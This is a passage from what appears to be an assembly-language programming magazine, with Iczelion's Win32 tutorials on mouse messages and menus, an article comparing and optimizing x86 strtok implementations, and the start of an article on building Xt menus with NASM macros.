messages about the non-client area too. But most of the time, we can blissfully
ignore them. We can focus on those relating to the client area.
For each left and right mouse button, there are two associated messages:
WM_LBUTTONDOWN,WM_RBUTTONDOWN and WM_LBUTTONUP, WM_RBUTTONUP messages. For
a mouse with three buttons, there are also WM_MBUTTONDOWN and WM_MBUTTONUP.
When the mouse cursor moves over the client area, Windows sends
WM_MOUSEMOVE messages to the window under the cursor.
A window can receive double click messages, WM_LBUTTONDBCLK or
WM_RBUTTONDBCLK, if and only if its window class has been defined to
receive them by including CS_DBLCLKS flag in the class style,else the
window will receive only a series of mouse button up and down messages.
For all these messages, the value of lParam contains the position of the
mouse. The low word is the x-coordinate, and the high word is the
y-coordinate relative to upper left corner of the client area of the
window. wParam indicates the state of the mouse buttons and Shift and Ctrl
keys.
Content:
include windows.inc
includelib user32.lib
includelib kernel32.lib
includelib gdi32.lib
.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MouseClick db 0 ; 0=no click yet
.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hitpoint POINT <>
.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax
WinMain proc
hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:SDWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,0
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
mov eax,uMsg
.IF eax==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF eax==WM_LBUTTONDOWN
mov eax,lParam
shl eax,16
shr eax,16
mov hitpoint.x,eax
mov eax,lParam
shr eax,16
mov hitpoint.y,eax
mov MouseClick,TRUE
invoke InvalidateRect,hWnd,NULL,TRUE
.ELSEIF eax==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
.IF MouseClick
invoke lstrlen,ADDR AppName
invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax
.ENDIF
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start
Time to analyze the program.
.ELSEIF eax==WM_LBUTTONDOWN
mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax
mov eax,lParam
shr eax,16
mov hitpoint.y,eax
mov MouseClick,TRUE
invoke InvalidateRect,hWnd,NULL,TRUE
The window procedure waits for left mouse button click. When it receives
WM_LBUTTONDOWN, lParam contains the coordinate of the mouse cursor in the
client area. It saves the coordinate in a variable of type POINT which is
defined as:
POINT STRUCT
x dd ?
y dd ?
POINT ENDS
and sets the flag, MouseClick, to TRUE, meaning that there's at least a
left mouse button click in the client area.
mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax
Since x-coordinate is the low word of lParam and the members of POINT
structure are 32-bit in size, we have to zero out the high word of eax
prior to storing it in hitpoint.x.
shr eax,16
mov hitpoint.y,eax
Because y-coordinate is the high word of lParam, we must put it in the low
word of eax prior to storing it in hitpoint.y. We do this by shifting eax
16 bits to the right.
After storing the mouse position, we set the flag, MouseClick, to TRUE in
order to let the painting code in WM_PAINT section know that there's at
least a click in the client area so it can draw the string at the mouse
position. Next we call InvalidateRect function to force the window to
repaint its entire client area.
.IF MouseClick
invoke lstrlen,ADDR AppName
invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax
.ENDIF
The painting code in WM_PAINT section must check if MouseClick is true,
since when the window was created, it received a WM_PAINT message which at
that time, no mouse click had occurred so it should not draw the string in
the client area. We initialize MouseClick to FALSE and change its value to
TRUE when an actual mouse click occurs.
If at least one mouse click has occurred, it draws the string in the client
area at the mouse position. Note that it calls lstrlen to get the length of
the string to display and sends the length as the last parameter of TextOut
function.
[Reprinted With permission from Iczelion's Win32 Assembly HomePage]
http://203.148.211.201/iczelion/index.html
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::................................WIN32.ASSEMBLY.PROGRAMMING
Menus
by Iczelion
In this tutorial, we will learn how to incorporate a menu into our window.
Preliminary:
Menu is one of the most important component in your window. Menu presents a
list of services a program offers to the user. The user doesn't have to
read the manual included with the program to be able to use it, he can
peruse the menu to get an overview of the capability of a particular
program and start playing with it immediately. Since a menu is a tool to
get the user up and running quickly, you should follow the standard.
Succintly put, the first two menu items should be File and Edit and the
last should be Help. You can insert your own menu items between Edit and
Help. If a menu item invokes a dialog box, you should append an ellipsis
(...) to the menu string.
Menu is a kind of resource. There are several kinds of resources such as
dialog box, string table, icon, bitmap, menu etc. Resources are described
in a separated file called a resource file which normally has .rc
extension. You then combine the resources with the source code during the
link stage. The final product is an executable file which contains both
instructions and resources.
You can write resource scripts using any text editor. They're composed of
phrases which describe the appearances and other attributes of the
resources used in a particular program Although you can write resource
scripts with a text editor, it's rather difficult. A better alternative is
to use a resource editor which lets you visually design any resource with
ease. Resource editors are usually included in compiler packages such as
Visual C++, Borland C++, etc. They write a resource file for you.
You describe a menu resource like this:
MyMenu MENU
{
[menu list here]
}
C programmers may recognize that it is similar to declaring a structure.
MyMenu being a menu name followed by MENU keyword and menu list within
curly brackets. Alternatively, you can use BEGIN and END instead of the
curly brackets if you wish. This syntax is more palatable to Pascal
programmers.
Menu list can be either MENUITEM or POPUP statement.
MENUITEM statement defines a menu bar which doesn't invoke a popup menu
when selected.The syntax is as follows:
MENUITEM "&text", ID [,options]
It begins by MENUITEM keyword followed by the text you want to use as menu
bar string. Note the ampersand. It causes the character that follows it to
be underlined. Following the text string is the ID of the menu item. The ID
is a number that will be used to identify the menu item in the message sent
to the window procedure when the menu item is selected. As such, each menu
ID must be unique among themselves.
Options are optional. Available options are as follows:
o GRAYED The menu item is inactive, and it does not generate a
WM_COMMAND message. The text is grayed.
o INACTIVE The menu item is inactive, and it does not generate a
WM_COMMAND message. The text is displayed normally.
o MENUBREAK This item and the following items appear on a new line of
the menu.
o HELP This item and the following items are right-justified.
You can use one of the above option or combine them with "or" operator.
Beware that INACTIVE and GRAYED cannot be combined together.
POPUP statement has the following syntax:
POPUP "&text" [,options]
{
[menu list]
}
POPUP statement defines a menu bar that, when selected, drops down a list
of menu items in a small popup window. The menu list can be a MENUTIEM or
POPUP statement. There's a special kind of MENUITEM statement, MENUITEM
SEPARATOR, which will draw a horizontal line in the popup window.
The next step after you are finished with the menu resource script is to
reference it in your program.
You can do this in two different places in your program.
o In lpszMenuName member of WNDCLASSEX structure. Say, if you have a
menu named "FirstMenu", you can assigned the menu to your window like
this:
.DATA
MenuName db "FirstMenu",0
...........................
...........................
.CODE
...........................
mov wc.lpszMenuName, OFFSET MenuName
...........................
o In menu handle parameter of CreateWindowEx like this:
.DATA
MenuName db "FirstMenu",0
hMenu HMENU ?
...........................
...........................
.CODE
...........................
invoke LoadMenu, hInst, OFFSET MenuName
mov hMenu, eax
invoke CreateWindowEx,NULL,OFFSET ClsName,\
OFFSET Caption, WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,\
NULL,\
hMenu,\
hInst,\
NULL\
...........................
So you may ask, what's the difference between these two methods?
When you reference the menu in the WNDCLASSEX structure, the menu becomes
the "default" menu for the window class. Every window of that class will
have the same menu.
If you want each window created from the same class to have different
menus, you must choose the second form. In this case, any window that is
passed a menu handle in its CreateWindowEx function will have a menu that
"overrides" the default menu defined in the WNDCLASSEX structure.
Next we will examine how a menu notifies the window procedure when the user
selects a menu item.
When the user selects a menu item, the window procedure will receive a
WM_COMMAND message. The low word of wParam contains the menu ID of the
selected menu item.
Now we have sufficient information to create and use a menu. Let's do it.
Content:
The first example shows how to create and use a menu by specifying the menu
name in the window class.
include windows.inc
includelib user32.lib
includelib kernel32.lib
includelib gdi32.lib
.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MenuName db "FirstMenu",0 ; The name of our menu in the
resource file.
Test_string db "You selected Test menu item",0
Hello_string db "Hello, my friend",0
Goodbye_string db "See you again, bye",0
.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
.const
IDM_TEST equ 1 ; Menu IDs
IDM_HELLO equ 2
IDM_GOODBYE equ 3
IDM_EXIT equ 4
.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax
WinMain proc
hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:SDWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName ; Put our menu name here
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,0
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
mov eax,uMsg
.IF eax==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF eax==WM_COMMAND
mov eax,wParam
.IF ax==IDM_TEST
invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK
.ELSEIF ax==IDM_HELLO
invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK
.ELSEIF ax==IDM_GOODBYE
invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName,
MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start
****************************************************************
Menu.rc
****************************************************************
#define IDM_TEST 1
#define IDM_HELLO 2
#define IDM_GOODBYE 3
#define IDM_EXIT 4
FirstMenu MENU
{
POPUP "&PopUp"
{
MENUITEM "&Say Hello",IDM_HELLO
MENUITEM "Say &GoodBye", IDM_GOODBYE
MENUITEM SEPARATOR
MENUITEM "E&xit",IDM_EXIT
}
MENUITEM "&Test", IDM_TEST
}
------------------------------------------------------------------------
Let's analyze the resource file first.
#define IDM_TEST 1 /* equal to IDM_TEST equ 1*/
#define IDM_HELLO 2
#define IDM_GOODBYE 3
#define IDM_EXIT 4
The above lines define the menu IDs used by the menu script. You can assign
any value to the ID as long as the value is unique in the menu.
FirstMenu MENU
Declare your menu with MENU keyword.
POPUP "&PopUp"
{
MENUITEM "&Say Hello",IDM_HELLO
MENUITEM "Say &GoodBye", IDM_GOODBYE
MENUITEM SEPARATOR
MENUITEM "E&xit",IDM_EXIT
}
Define a popup menu with four menu items, the third one is a menu
separator.
MENUITEM "&Test", IDM_TEST
Define a menu bar in the main menu.
Next we will examine the source code.
MenuName db "FirstMenu",0 ; The name of our menu in the
resource file.
Test_string db "You selected Test menu item",0
Hello_string db "Hello, my friend",0
Goodbye_string db "See you again, bye",0
MenuName is the name of the menu in the resource file. Note that you can
define more than one menu in the resource file so you must specify which
menu you want to use. The remaining three lines define the text strings to
be displayed in message boxes that are invoked when the appropriate menu
item is selected by the user.
IDM_TEST equ 1 ; Menu IDs
IDM_HELLO equ 2
IDM_GOODBYE equ 3
IDM_EXIT equ 4
Define menu IDs for use in the window procedure. These values MUST be
identical to those defined in the resource file.
.ELSEIF eax==WM_COMMAND
mov eax,wParam
.IF ax==IDM_TEST
invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK
.ELSEIF ax==IDM_HELLO
invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK
.ELSEIF ax==IDM_GOODBYE
invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName,
MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
In the window procedure, we process WM_COMMAND messages. When the user
selects a menu item, the menu ID of that menu item is sended to the window
procedure in the low word of wParam along with the WM_COMMAND message. So
when we store the value of wParam in eax, we compare the value in ax to the
menu IDs we defined previously and act accordingly. In the first three
cases, when the user selects Test, Say Hello, and Say GoodBye menu items,
we just display a text string in a message box.
If the user selects Exit menu item, we call DestroyWindow with the handle
of our window as its parameter which will close our window.
As you can see, specifying menu name in a window class is quite easy and
straightforward. However you can also use an alternate method to load a
menu in your window. I won't show the entire source code here. The resource
file is the same in both methods. There are some minor changes in the
source file which I 'll show below.
.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ? ; handle of our menu
Define a variable of type HMENU to store our menu handle.
invoke LoadMenu, hInst, OFFSET MenuName
mov hMenu,eax
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,hMenu,\
hInst,NULL
Before calling CreateWindowEx, we call LoadMenu with the instance handle
and a pointer to the name of our menu. LoadMenu returns the handle of our
menu in the resource file which we pass to CreateWindowEx.
[Reprinted With permission from Iczelion's Win32 Assembly HomePage]
http://203.148.211.201/iczelion/index.html
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::........................THE.C.STANDARD.LIBRARY.IN.ASSEMBLY
The _strtok function
by Xbios2
I. INTRODUCTION
---------------
C syntax: char *strtok(char *s1, const char *s2);
Description
strtok considers the string s1 to consist of a sequence of zero or more text
tokens, separated by spans of one or more characters from the separator string
s2.
The first call to strtok returns a pointer to the first character of the first
token in s1 and writes a null character into s1 immediately following the
returned token. Subsequent calls with null for the first argument will work
through the string s1 in this way, until no tokens remain.
The separator string, s2, can be different from call to call.
Comparing different strtok functions requires a much different approach than
strlen and strcpy. This is because the overall speed is not related only to n,
the length of the main string, but on many other things, such as the total
number of tokens, the number of characters between the tokens, the length of the
delimiter string, etc...
But this is better seen in practice:
II. _STRTOK IN BC402
-------------------
This is the disassembly of the Borland C++ 4.02 library. You can read it as an
example of non-optimized code, otherwise you may just skip and read the
explanation.
_strtok proc near
v_retval = dword ptr -8
v_pointer = dword ptr -4
a_s1 = dword ptr 8
a_s2 = dword ptr 0Ch
enter 8, 0
push edi
push esi
mov edi, [ebp+a_s1]
call __thread_data
add eax, 18h
test edi, edi
mov [ebp+v_pointer], eax
jnz short first_time
mov eax, [ebp+v_pointer]
mov edi, [eax]
first_time: jmp short enterPhase1
; --------------------------------------------
loopPhase1: mov esi, [ebp+a_s2]
jmp short enterScan1
; --------------------------------------------
loopScan1: mov al, [esi]
cmp al, [edi]
jz short endScan1
inc esi
enterScan1: mov al, [esi]
test al, al
jnz short loopScan1
endScan1: mov al, [esi]
test al, al
jz short exitPhase1
inc edi
enterPhase1: mov al, [edi]
test al, al
jnz short loopPhase1
exitPhase1: mov al, [edi]
test al, al
jnz short phase2
mov eax, [ebp+v_pointer]
mov [eax], edi
xor eax, eax
jmp short return
; --------------------------------------------
phase2: mov [ebp+v_retval], edi
jmp short enterPhase2
; --------------------------------------------
loopPhase2: mov esi, [ebp+a_s2]
jmp short enterScan2
; --------------------------------------------
loopScan2: mov al, [esi]
cmp al, [edi]
jnz short nextScan2
mov byte ptr [edi], 0
inc edi
mov eax, [ebp+v_pointer]
mov [eax], edi
mov eax, [ebp+v_retval]
jmp short return
; --------------------------------------------
nextScan2: inc esi
enterScan2: mov al, [esi]
test al, al
jnz short loopScan2
inc edi
enterPhase2: mov al, [edi]
test al, al
jnz short loopPhase2
mov eax, [ebp+v_pointer]
mov [eax], edi
mov eax, [ebp+v_retval]
return: pop esi
pop edi
leave
retn
_strtok endp
Explanation:
First af all, s1 is checked. If it is null, the pointer to the string is
restored from where it was saved on the previous call. (One value is saved for
each thread, not for each process, so it can't be stored in the .data segment).
Then we enter the first loop, Phase1. Here characters are read until one is
found that does NOT belong to s2 (then jump to Phase2) or the terminating NULL
is reached (then just return NULL). Every character read from s1 is compared
against all characters in s2 (in the Scan1 loop).
The second loop, Phase2 (if we reach it), reads characters from s1 until one is
found that belongs to s2 (then replace it with a NULL, return) or the
terminating NULL is reached (then just return).
Actually before entering Phase2, the pointer to the current char in s1 is saved,
and it is returned in EAX as the return value.
Notice that the string s1 is modified by strtok.
III. ESTIMATING PERFORMANCE
---------------------------
As noted in the introduction, the speed of _strtok can't be calculated in a
'k+l*n' way. So a more general 'speed' is estimated:
The above _strtok function is really slow for three reasons:
1. '__thread_data' calls various other functions, slowing code down.
(actually, this does not exist in the single-thread library)
2. The code is not pentium-optimized, not optimized at all I'd say.
3. The algorithm used is REALLY bad.
Reason 3 is the most important. Even the fastest code written to use this
algorithm would be slow. The reason is that there are two NESTED loops, one to
find the first character of the token and one to find the first delimiter.
Supposing that s1 does not start with a delimiter, then to get the first token,
each character of the token is compared to EVERY character of s2. This means
that if the first token of s1 is 10 characters long, and s2 contains 10
delimiter characters, at least 10*10=100 loop cycles are needed. Try duplicating
s2, to be 20 characters long. Without adding information, 10*20=200 loop cycles
are needed now.
IV. THE LOOKUP TABLE
--------------------
To get rid of the nested loops, the function must have a 'direct' way of knowing
if a character (read from s1) exists in s2. This is accomplished through a
lookup table, i.e. a region of memory holding, for each of the 256 different
characters, a value that indicates if that character is a delimiter. So the
function will consist of one loop scanning s2 and setting values in the lookup
table, and another one scanning s1 and comparing it's values against the lookup
table.
Some considerations regarding the lookup table must be made:
- First of all, forget Unicode. No one would like a lookup table with 65536
entries...
- The values in the table can be either bits or bytes. It's easier and faster to
access the values in a byte-sized table, but it takes more time to reset the
lookup table each time the function is called
- The lookup table can be either local (stack) or global (.data segment). The 32
bytes needed create no problems in either place. It is faster to have a local
table (for various reasons), and it's also more reasonable. Yet a global lookup
table allows for an interesting extension to _strtok:
It is common to use the same s2 string many times. By using a global table,
which is preserved across calls, the caller may pass NULL as s2, to reuse
the last lookup table. This way a lookup table is calculated only once.
For a more specific application, where speed is essential, but instead of
only one delimiter string, there are more, the function can be improved to
receive, instead of s2, a pointer to a lookup table, either built in or
created by another function
In this essay we'll stick to the 'normal' strtok, using a local table.
This is also the way _strtok is implemented in MSVCRT (with bit values). See for
yourselves:
V. STRTOK IN MSVCRT
-------------------
strtok proc near
lookup = byte ptr -20h
a_s1 = dword ptr 4
a_s2 = dword ptr 8
sub esp, 20h
push ebx
push ebp
mov ebp, [esp+28h+a_s2] ; EBP points at s2
push esi
push edi
call GetTls
mov edx, eax
mov ecx, 8
xor eax, eax
lea edi, [esp+30h+lookup]
mov [esp+30h+a_s2], edx ; save in a_s2 the value by GetTls
repe stosd ; reset lookup table
; Loop1 : scan s2 and set lookup table values
loop1: mov al, [ebp+0]
mov bl, 1
mov ecx, eax
and ecx, 0FFh
mov esi, ecx
and ecx, 7
shr esi, 3
shl bl, cl
mov cl, [esp+esi+30h+lookup]
lea esi, [esp+esi+30h+lookup]
or cl, bl
inc ebp
test al, al
mov [esi], cl
jnz short loop1
mov esi, [esp+30h+a_s1] ; ESI points at s1
test esi, esi
jnz short skip
mov esi, [edx+18h] ; s1 NULL, restore previous
skip: mov dl, [esi]
mov eax, 1
mov edi, edx
and edi, 0FFh
mov ecx, edi
and ecx, 7
shl eax, cl
shr edi, 3
mov cl, [esp+edi+30h+lookup]
test cl, al
jz short exit2
;
; Loop2 : find first non delimiter, or NULL
loop2: test dl, dl
jz short exit2
mov dl, [esi+1]
inc esi
mov eax, edx
mov ebx, 1
and eax, 0FFh
mov ecx, eax
and ecx, 7
shl ebx, cl
shr eax, 3
mov al, [esp+eax+30h+lookup]
test al, bl
jnz short loop2
exit2: mov al, [esi]
mov edi, esi
test al, al
jnz short enter3
jmp short exit3 ; NULL found, return NULL
; ---------------------------------------------------------------------
; Loop3 : Find delimiter marking the end of the token
loop3: mov al, [esi+1]
inc esi
test al, al
jz short exit3
enter3: and eax, 0FFh
mov edx, 1
mov ecx, eax
and ecx, 7
shl edx, cl
shr eax, 3
mov al, [esp+eax+30h+lookup]
test al, dl
jz short loop3
mov byte ptr [esi], 0 ; mark the end of token
inc esi ; point s1 to next char
exit3: mov ecx, [esp+30h+a_s2] ; value by GetTls
mov eax, edi
sub eax, esi
neg eax
sbb eax, eax
mov [ecx+18h], esi ; store pointer for next call
and eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 20h
retn
strtok endp
GetTls is a function in MSVCRT.DLL that uses GetTlsValue to get thread storage
space. The layout is rather easy to understand, the 'bit-fiddling' to access the
values in the lookup table is a bit complicated. But it's rather good code. Yet
it can be optimized even more at a low level.
VI. FINAL VERSIONS
------------------
This is the final version using bit values in the lookup table:
.data
masks db 1,2,4,8,16,32,64,128
.code
_strtok proc
push edi
push ebx
xor eax, eax
mov edi, [esp+16] ; s2 [delimiters]
rept 7
push eax ; reset table
endm
push 1 ; set NULL as a separator
mov al, [edi]
inc edi
or al, al
jz skip1
mov ecx, eax
mov ebx, eax
loop1: shr ebx, 3
and ecx, 7
mov al, [edi]
inc edi
mov dl, masks[ecx]
mov ah, [esp+ebx]
mov cl, al
or dl, ah
mov [esp+ebx], dl
mov bl, al
or al, al
jnz loop1
skip1: mov edi, [esp+44] ; s1 [string]
xor eax, eax
test edi, edi
jnz short loop2
mov edi, [pointer]
loop2: mov cl, [edi]
inc edi
mov ebx, ecx
and ecx, 7
or bl, bl
jz short nomore ; no more tokens, return NULL
shr ebx, 3
mov cl, masks[ecx]
test [esp+ebx], cl
jnz short loop2
lea eax, [edi-1] ; this is the return value
loop3: mov cl, [edi]
mov ebx, ecx
and ecx, 7
shr ebx, 3
inc edi
mov cl, masks[ecx]
test [esp+ebx], cl
jz short loop3
mov cl, [edi-1]
return: mov byte ptr [edi-1], 0
nomore: cmp cl, 1
sbb edi, 0
mov [pointer], edi
add esp, 20h
pop ebx
pop edi
retn
_strtok endp
Again, the general layout is rather simple (same as in MSVCRT) . The bit
fiddling is even 'stranger', and the instruction order is a bit weird, in order
to achieve optimum pairing. But it runs at about more than twice the speed
msvcrt does.
The main features of this version are:
-Space in the stack is allocated by PUSHing 8 times (PUSH pairs with itself, so
it only takes 4 cycles to allocate and clear the table)
-8 bytes in the .data segment contain the masks used to acces bits 0 to 7 in a
byte, thus allowing faster bit-value access.
-It works, and it works FAST.
A little bit faster (not always, though, since memory access is more intense) is
this ve
rsion with byte values in the lookup table:
_strtok proc
xor ecx, ecx
mov edx, [esp+8] ; s2 [delimiters]
rept 63
push ecx ; reset table
endm
push 1 ; set NULL as a separator
mov cl, [edx]
inc edx
or cl, cl
jz skip1
loop1: mov byte ptr [esp+ecx], 1
mov cl, [edx]
inc edx
or cl, cl
jnz loop1
skip1: mov edx, [esp+4+256] ; s1 [string]
xor eax, eax
test edx, edx
jnz short loop2
mov edx, [pointer]
loop2: mov cl, [edx]
inc edx
or cl, cl
jz short nomore ; no more tokens, return NULL
cmp byte ptr [esp+ecx], 1
je short loop2
lea eax, [edx-1] ; this is the return value
nop
loop3: mov cl, [edx]
inc edx
cmp byte ptr [esp+ecx], 1
jne short loop3
return: mov byte ptr [edx-1], 0
nomore: cmp cl, 1
sbb edx, 0
mov [pointer], edx
add esp, 256
retn
_strtok endp
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::............................................THE.UNIX.WORLD
Using Menus in Xt
by mammon_
A simple one-button application will not get you very far in the X world. A
good application must have multiple components, including menus, dialog boxes,
application windows, and accelerators. In this article I will present the use
of Xt menus in assembly language as a first step towards producing a complete
application; future articles will cover the integration of forms, dialog
boxes, and other resources into a complete application.
I presented some Xt macros for Nasm last issue, but have revised them after a
bit more testing. The CALLBACK macros have been rewritten, and an InitXtApp
macro has been written as well to take care of the generic Xt application
startup code.
;=======================================================================-xt.inc
%macro InitXtApp 5
;------Usage: InitXtApp TopLevelWidget, Context, ClassName, ARGC, ARGV
EXTERN XtVaAppInitialize
push dword 0
push dword 0
push dword 0
push dword %5
push dword %4
push dword 0
push dword 0
push dword %3
push dword %2
call XtVaAppInitialize
add esp, 36
mov [%1], eax
%endmacro
%macro CALLBACK 1
;------Usage: CALLBACK name
GLOBAL %1
%1:
%define CallData [ebp+8]
%define ClientData [ebp+12]
%define Widget [ebp+16]
push ebp
mov ebp, esp
%endmacro
%macro CALLBACK_RETURN 0
;------Usage: CALLBACK_RETURN
mov esp, ebp
pop ebp
ret
%endmacro
%macro ShowXtWidget 1
;------Usage: ShowXtWidget Widget
EXTERN XtRealizeWidget
push dword [%1]
call XtRealizeWidget
add esp, 4
%endmacro
%macro XtAppLoop 1
;------Usage: XtAppLoop Context
EXTERN exit
EXTERN XtAppMainLoop
push dword [%1]
call XtAppMainLoop
add esp, 4
push dword 0
call exit
%endmacro
;==============================================================================
The first thing that must be done in creating an application menu is to
create a "menubar" that will contain the component menu buttons. This often
takes the place of a Box or Form widget that resides on the top or left edge
of an application. The menu bar will later be "filled" with a button for each
menu [e.g. File, Edit, Options, Help].
I have opted to use the Box widget for the menubar as it requires less
initialization than the Form widget; normally it defaults to a vertical
stacking of the component buttons, but this can be fixed with further
configuration and will be addresses in a future article.
To create a menubar widget I have create a macro which will simply create a
Box widget; it takes as its parameters a pointer to the parent widget
[usually the top-level widget], the name of the menubar class, and a dword
variable which will become a pointer to the Box instance:
;=======================================================================-xt.inc
%macro CreateMenuBar 3
;------Usage: CreateMenuBar ParentWidget, ClassName, MenubarWidget
EXTERN boxWidgetClass
EXTERN XtCreateManagedWidget
push dword 0
push dword 0
push dword [%1]
push dword [boxWidgetClass]
push dword %2
call XtCreateManagedWidget
mov [%3], eax
add esp, 20
%endmacro
;==============================================================================
Following this, a button must be created for each menu as a component of the
Box or menubar widget. Each button is then associated with a Menu widget
through the XtCreatePopupShell call.
In Xt Athena, a menu is a button which, when pressed, creates a "Popup Shell";
that is, a container which contains the various menu items. These items are
known as smeObjectClasses, or "simple menu entry" objects; selecting a simple
menu entry from the popup shell [in plain English, "selecting a menu item"]
will cause the callback for that menu item to be invoked and any data
associated with the menu to be sent to the callback.
The AddMenu macro will create a menu button and popup shell for a given menu;
it takes as its parameters the pointer to the parent Menubar widget, the ASCII
string to be displayed in the menu [e.g. "File", "Edit", etc], a dword
variable to be filled with a pointer to the menu button, and a dword variable
to be filled with a pointer to the menu [or "popup shell"] itself:
;=======================================================================-xt.inc
%macro AddMenu 4
;------Usage: AddMenu MenubarWidget, MenuText, MenuButtonWidget, MenuWidget
%ifndef _menu_classname
EXTERN menuButtonWidgetClass
EXTERN XtCreateManagedWidget
EXTERN simpleMenuWidgetClass
EXTERN XtCreatePopupShell
[section .data]
_menu_class db "menu",0
[section .text]
%define _menu_classname
%endif
push dword 0
push dword 0
push dword [%1]
push dword [menuButtonWidgetClass]
push dword %2
call XtCreateManagedWidget
mov [%3], eax
add esp, 20
push dword 0
push dword 0
push dword [%3]
push dword [simpleMenuWidgetClass]
push dword _menu_class
call XtCreatePopupShell
mov [%4], eax
add esp, 20
%endmacro
;==============================================================================
Once the menu is created, it must be filled with menu items. The standard menu
item is an smeBSBObject, meaning "simple menu entry: Bitmap-String-Bitmap";
that is, each line can consist of a bitmap followed by a string followed by a
bitmap. This can be useful for providing "visual"/eyecandy menus, or for
checking and unchecking [via an "x" bitmap] menu items. For this example, I am
using only string menu entries.
Menu items are added with the standard CreateManagedWidget function, then
associated with a callback routine just like standard Xt widgets. The
AddMenuItem macro performs both of these functions and takes as its parameters
the pointer to the parent Menu, the text to be displayed in the menu item, a
pointer to the data associated with the menu item, and the address of the
callback routine:
;=======================================================================-xt.inc
%macro AddMenuItem 4
;------Usage: AddMenuItem MenuWidget, MenuItemText, MenuItemID, Callback
